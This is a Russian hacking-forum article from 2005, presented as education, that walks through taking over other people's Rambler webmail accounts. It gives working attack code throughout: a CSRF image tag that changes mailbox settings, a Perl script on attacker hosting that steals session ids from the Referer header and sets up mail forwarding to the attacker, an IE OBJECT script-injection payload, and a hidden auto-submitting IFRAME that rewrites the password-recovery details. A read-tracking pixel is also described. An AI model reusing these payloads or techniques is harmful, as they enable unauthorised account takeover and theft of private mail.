Статьи Проблемы безопасности Веб-интерфейсов почтовых сервисов на примере rambler.ru

Discussion in 'Статьи' started by k00p3r, 13 Jul 2005.

  1. k00p3r

    k00p3r Banned

    Joined:
    31 May 2005
    Messages:
    430
    Likes Received:
    8
    Reputations:
    2
    Hi, ALL.
    Эта темка, видимо, для начинающих, поэтому хочу сразу предупредить, что всё нижеизложенное рекомендую использовать ТОЛЬКО в образовательных целях. Прошу матерых хацкеров не судить меня строго, т.к. я даже не пытаюсь носить их лавры, а компьютеров я боюсь. :о) Так же прошу прощения за некоторую возможную кривизну изложения, т.к. пишу экспромтом, просто выдалась случайная минутка на работе.

    Некоторое время я занимался изучением дырдочек в Web-почтовиках (Rambler, HotBox и т.п.) Сразу оговорюсь, что я рассматривал их с точки зрения использования через Веб- броузеры (HTTP), точнее IE, а не как стандартные почтовики (POP, SMTP).
    Совсем недавно Web-почтовики были такие разные, каждый пытались сделать по-своему. Сейчас всё более или менее устаканивается и приходит к единому виду, и вид этот далеко не идеален. Т.о. я буду рассказывать лишь об одном из них, о Rambler, который прошел за короткое время почти все фазы развития Web-почтовика. Многие другие ныне существующие почтовики соответствуют той или иной фазе этого развития, в чем вы можете сами убедиться после прочтения этого текста.
    Итак задача: получить пароль от чужого ящика и/или прочитать чужую почту. Предупреждаю сразу, почтовик ломать не будем и юзера ломать тоже не будем, никаких червей, троянов, и т.п. Всё, что нам надо: небольшие знания HTTP, Cookies, JScript, Perl (в объеме 'Hello world!'), некоторых особенностей IE. Еще нужен сам IE, почтовый ящик на Web-почтовике для испытаний и в некоторых случаях хостинг для исполнения нашего скрипта (подойдет бесплатный хостинг на hut.ru, bip.ru и т.п.).
    А теперь расскажу по шагам историю развития почтовика на Rambler.ru с точки зрения стороннего пользователя.

    Когда-то давно на Rambler'e была такая схема: пользователь логинился, получал cookie, который вместе с IP-адресом использовался для дальнейшей идентификации пользователя в течение сессии, причем не только при работе с почтой, но и при настройке почтового ящика. При настройке ящика, после нажатия на 'Submit', содержимое полей формы передавалось методом POST по адресу соответствующего скрипта (пусть будет 'settings.cgi'), причем повторюсь, что идентификация почтового ящика, настройки которого надо изменить, происходила по cookie и IP-адресу. Кроме того, скрипт принимал данные безразлично как из запросов POST, так и GET. Механизм 'атаки' в таком случае весьма прост: создается письмо содержащее тэг:
    <IMG SRC="www.server.ru/settings.cgi?set1=x&set2=y">
    где set1=x, set2=y - названия передаваемых полей с соответствующими значениями.
    Когда пользователь получает и просматривает такое письмо в окне броузера, броузер пытается загрузить картинку и передает указанный за 'SRC=' запрос, который получает скрипт почтовика вместе с cookie и IP-адресом пользователя. А так как всё, кроме метода передачи (не POST, а GET), верно, а к методу скрипт равнодушен, запрос обрабатывается, настройки ящика изменяются. Естественно, пользователь не увидит никакой картинки, но ведь так часто бывает в инете, что картинки не открываются, да и картинка может быть размером 1x1.
    Очень хотелось бы передать "password='my_password'", но это ни к чему бы не привело, т.к. для того, чтобы изменить пароль, необходимо знать старый, т.е. выполнился бы только такой запрос: "password='my_password'&oldpassword='old_password'". Да и установив новый пароль, мы бы либо отрезали юзера насовсем от его ящика, либо вызвали его подозрения, когда ему пришлось бы воспользоваться системой напоминания пароля. Поэтому идем другим путем.
    Тогда ещё была возможность настройки фильтров входящей почты на пересылку по другому адресу с оставлением локальной копии. При этом внесение такого фильтра не требовало введения пароля, а только подтверждение от конечной точки пересылки, путем перехода по ссылке в письме-уведомлении. Т.о. никто не мешал злоумышленнику послать письмо "жертве" содержащее вышеуказанный тег с параметрами, определяющими установки фильтра на пересылку входящей почты на адрес злоумышленника с оставлением локальной копии. Но ведь пользователь может просмотреть свои фильтры? А вы часто просматриваете настройки своих фильтров? Ну а тем более пользователь, который до сих пор пользуется Web-интерфейсом для просмотра почты...

    Видимо, эта часть дырочки была замечена, поэтому появилась новая версия почтовика. Теперь кроме cookie, IP-адреса для идентификации стал использоваться ещё и некий ключ, представляющий собой строку буквенных и цифровых символов после 'id=', генерируемую случайным образом при каждом входе пользователя в систему и передаваемую методом GET при каждом последующем обращении к серверу (этот ключ виден в строке ввода 'Address' броузера). И хотя скрипт до сих пор принимал значения полей форм, переданные как в POST, так и GET, предыдущий вариант уже не прокатывал, так как невозможно прописать в письме ключ, который сгенерируется только во время прочтения этого письма пользователем в будущем. На лицо нарушение пространственно-временного контилиума. Использовать скрипт для получения id из document.location в теле письма не имеет смысла, т.к. почти все почтовики вырезают скрипты. Но выход есть, и находится он в переменной окружения CGI 'HTTP_REFERER'. Изменяем механизм: оставляем тег 'IMG', но вместо адреса скрипта изменения настроек пишем адрес нашего скрипта. Вот тут и понадобится небольшое знание Perl (хотя подойдет и любой другой язык для написания CGI-скрипта или CGI-приложения) и хостинг с поддержкой пользовательских скриптов. Вот этот скрипт:

    PHP:
    $ref $ENV{'HTTP_REFERER'};         # Получаем URL
    $ref =~ /^.*\?id=([A-za-z0-9]*)\&/s# Вырезаем ключ
    $mail '[email protected]';           # e-mail для переадресованных писем

    # Формируем запрос GET
    $url "http://www.server.ru/settings.cgi?id=$1&mailredir=$mail&self=yes;

    print "
    Content-Typetext/html\n\n";
    print "
    <HTML><HEAD>";
    print "
    <META HTTP-EQUIV=\"Refresh\" CONTENT=\"0; URL=$url\">";
    print 
    "</HEAD></HTML>";
    Идея такова: при открытии письма в окне броузера, броузер пытается загрузить картинку, отправляет запрос нашему скрипту. Скрипт принимает запрос, получает значение переменной CGI-окружения 'HTTP_REFERER', которая содержит URL документа, загруженного в данный момент браузером "жертвы", вместе с GET-параметрами. Т.о. мы получаем тот самый замысловатый id - случайный ключ. Далее формируется запрос скрипту изменения настроек со всеми необходимыми параметрами: ключом (id), адресом пересылки (mailredir) и указанием оставлять локальную копию (self). Все это дело вставляется в мета-тэг редиректа на другую страницу и отправляется обратно броузеру. Тот, получив это добро, делает редирект, а далее все, как и в первом случае.

    Но вскоре и такая дырочка была закрыта путем замещения каких-либо URL в теле письма на такую запись: "www.server.ru/redirect.cgi?url='some_url'". Т.е. теперь любое обращение из тела письма проходит через своеобразный шлюз (redirect.cgi), который производит редирект по указанному 'some_url' и т.о. отсекает возможность получения id из 'HTTP_REFERER', т.к. в этой переменной будет содержаться либо лишь адрес скрипта (www.server.ru/redirect.cgi), либо вообще ничего. Т.е. вариант с внешним скриптом-шпионом отпадает.
    Кроме того, скрипты почтовика стали разбираться в методах запросов, т.е. стали отличать POST от GET. Ещё теперь нельзя делать фильтр, переадресовывающий почту на другой ящик, можно лишь раскидывать по папкам внутри ящика. Но открылась другая возможность: теперь можно изменять глобальный редирект, т.е. переправлять всю входящую почту на другой ящик напрямую, а не через фильтр, но в этом случае нельзя оставлять локальных копий. Зачем нужна такая особенность, я расскажу позднее, а пока укажу ещё, что теперь можно поменять адрес резервного ящика,- это тот ящик, который указывается при регистрации и куда пересылается пароль системой напоминания пароля. Кроме того, можно изменить и сами вопросы, и ответы системы напоминания. Как же добраться до этого добра?
    Ответ родился при просмотре флеш-мультфильма в письме. Оказалось, что почтовики хоть и вырезают скрипт из тела письма, но не вырезают тэг '<OBJECT>'. Понимаете, куда я клоню? Попытка вставить в тело письма объект обработчика скрипта с самим скриптом в качестве параметра увенчалась успехом. Появилась возможность всё же выполнить любой скрипт в теле письма. Вот как это делается:

    PHP:
    <OBJECT classid=clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389>
    <
    PARAM NAME="URL"
                  
    VALUE="about:<SCRIPT>alert(document.location);</SCRIPT>">
    </
    OBJECT>
    Можете проверить: если вставить этот кусок в тело письма, при просмотре письма в окне броузера появится MessageBox с URL документа, где явно просматривается необходимый нам id.
    Так как у нас на вооружении теперь есть JScript, мы можем обойти и проблему формирования POST запроса (теперь почтовик разбирается в методах). С помощью 'write()' мы динамически создаем прямо в этом же письме форму для отправки параметров настройки почтового ящика с уже заполненными полями и с помощью того же JScript делаем 'Submit'.
    Есть одно неприятное дополнение: все, что создается в ходе этого, будет видеть пользователь, а в конечном итоге он увидит страницу с измененными настройками. Поэтому форма с параметрами для передачи настроек должна формироваться не прямо в документе, а в динамически созданном плавающем фрейме (<IFRAME>) размером 1x1. Но следует учесть, что, создав фрейм, мы не сможем напрямую из тела письма обратиться к форме, находящейся в этом фрейме, т.е. не сможем субмитить её напрямую. Это можно сделать, определив событие onload для документа во фрейме:
    PHP:
    <IFRAME SRC="about:
    <HTML>
    <BODY onload='javascript:forms(0).submit();'>
    <FORM METHOD='POST'>
    ...............
    </FORM>
    </BODY>
    </HTML>
    "
    >
    Теперь мы можем, послав "жертве" письмо, изменить в настройках ящика вопрос и ответ для системы напоминания паролей, а также адрес почтового ящика, куда этот пароль будет выслан. После того, как "жертва" просмотрит такое письмо (нужно вставить какой-нибудь текст в письмо для отвода глаз), мы сможем, воспользовавшись системой напоминания получить пароль.
    Как узнать, прочитал ли пользователь наше письмо, достаточно просто: нужно воспользоваться CGI-скриптом, который будет регистрировать информацию об обращении к нему, а в письмо вставить малюсенький тэг <IMG> с адресом этого скрипта. На самом деле, таких скриптов куча, даже не надо самому писать и устанавливать, можно воспользоваться уже готовыми. Кажется, на хакер.ру было что-то подобное.

    И всё было бы здорово, да не работает последнее время система напоминания на Rambler'e... Не знаю чем это вызвано и как надолго. Есть один обходной и нестройный путь: узнать, есть ли у "жертвы" ещё один почтовый ящик не на Rambler'e, для которого ящик на Rambler'e являлся бы базовым, т.е. куда будет направлен пароль системой напоминания. Если такой ящик есть, то можно временно переадресовать всю входящую почту на Rambler'e к себе в ящик, воспользоваться системой напоминания пароля другого ящика, получить переадресованное письмо с паролем и отменить после этого переадресацию.

    "Вот, пожалуй, и всё, что я знаю о креветках..." (Ба-Ба, "Форест Гамп")
    Ссылки
    Georgi Guninski Security Research
    Некоторые методы взлома почтового ящика с WWW-интерфейсом (на примере www.mail.ru)

    [c] BioUnit, ([email protected])